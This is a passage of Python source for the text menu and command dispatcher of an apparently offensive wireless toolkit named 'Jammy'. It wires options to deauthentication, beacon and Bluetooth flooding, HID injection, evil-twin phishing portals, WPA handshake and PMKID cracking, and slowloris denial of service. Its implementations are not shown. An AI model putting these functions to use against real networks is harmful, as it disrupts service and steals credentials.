▐███▌▐█•█▌▐█ ▪▐▌▐███▌▐█.█▌▐█▄▄▌▐█•█▌▐█▄▪▐█
·▀▀▀ .▀ ▀ ▀ ▀ ·▀▀▀ ·▀ ▀ ▀▀▀ .▀ ▀ ▀▀▀▀
""")
cprint("26) cpmkid - Crack PMKID")
cprint("27) chs - Crack 4-way Handshake")
def display_menu(interface=None, action=None):
current_mode = None
o = None
if action is None:
main_option = main_menu()
modes = [{"wifi": 1}, {"bt": 2}, {"ble": 3}, {"hid": 4}, {"exploits": 5}, {"phishing": 6}, {"crackers": 7}]
for mode in modes:
for k, v in mode.items():
if v == main_option:
current_mode = k
break
print_options_per_mode(current_mode)
cprint("17) e - >> EXIT JAMMY <<")
cprint("XX) back - Previous page")
eline()
o = cinput("Enter option's name or number & arguments")
time.sleep(1)
clear()
if o == "back" or o == "bb" or o == "prev" or o == "bk":
return display_menu()
action_list = [
{"key": "b", "number": 1, "action": jammy.action_bflood},
{"key": "a", "number": 2, "action": jammy.action_authdos},
{"key": "p", "number": 3, "action": jammy.action_basprobe},
{"key": "d", "number": 4, "action": jammy.action_deauth},
{"key": "m", "number": 5, "action": jammy.action_mshutex},
{"key": "f", "number": 6, "action": jammy.action_fuzzer},
{"key": "wifi", "number": 7, "action": jammy.action_wifite},
{"key": "fap", "number": 8, "action": jammy.action_fap},
{"key": "bts", "number": 9, "action": jammy.action_sourapple},
{"key": "r", "number": 10, "action": jammy.action_redtooth},
{"key": "bf", "number": 11, "action": jammy.action_bluefog},
{"key": "asp", "number": 12, "action": jammy.action_airspam},
{"key": "wificap", "number": 13, "action": jammy.action_wificap},
{"key": "mon", "number": 14, "action": jammy.action_wlanmon},
{"key": "rage", "number": 15, "action": jammy.action_jammydos},
{"key": "et", "number": 16, "action": jammy.action_captive_portal},
{"key": "e", "number": 17, "action": action_exit},
{"key": "bd", "number": 18, "action": jammy.action_blue_ducky},
{"key": "localdos", "number": 19, "action": jammy.action_localdos},
{"key": "sams", "number": 20, "action": jammy.action_watchspam},
{"key": "neoup", "number": 21, "action": neo.action_neo_upload},
{"key": "neoon", "number": 22, "action": neo.action_neo_storage_enable},
{"key": "neooff", "number": 23, "action": neo.action_neo_storage_disable},
{"key": "neosoft", "number": 24, "action": neo.action_neo_soft_reboot},
{"key": "shark", "number": 25, "action": jammy.action_run_shark},
{"key": "cpmkid", "number": 26, "action": jammy.action_pmkid_crack},
{"key": "chs", "number": 27, "action": jammy.action_handshake_crack},
{"key": "slowloris", "number": 28, "action": jammy.action_slowloris},
]
execute_action(o if o else action, action_list)
def execute_action(input_str, action_list):
parts = input_str.split(' ', 1)
command = parts[0]
args = parts[1] if len(parts) > 1 else ""
for action in action_list:
if command == action["key"] or command == str(action["number"]):
action["action"](args)
iprint("Leaving to menu... (press Ctrl+C to exit)")
time.sleep(3)
display_menu()
return
# If we reach here, no action was found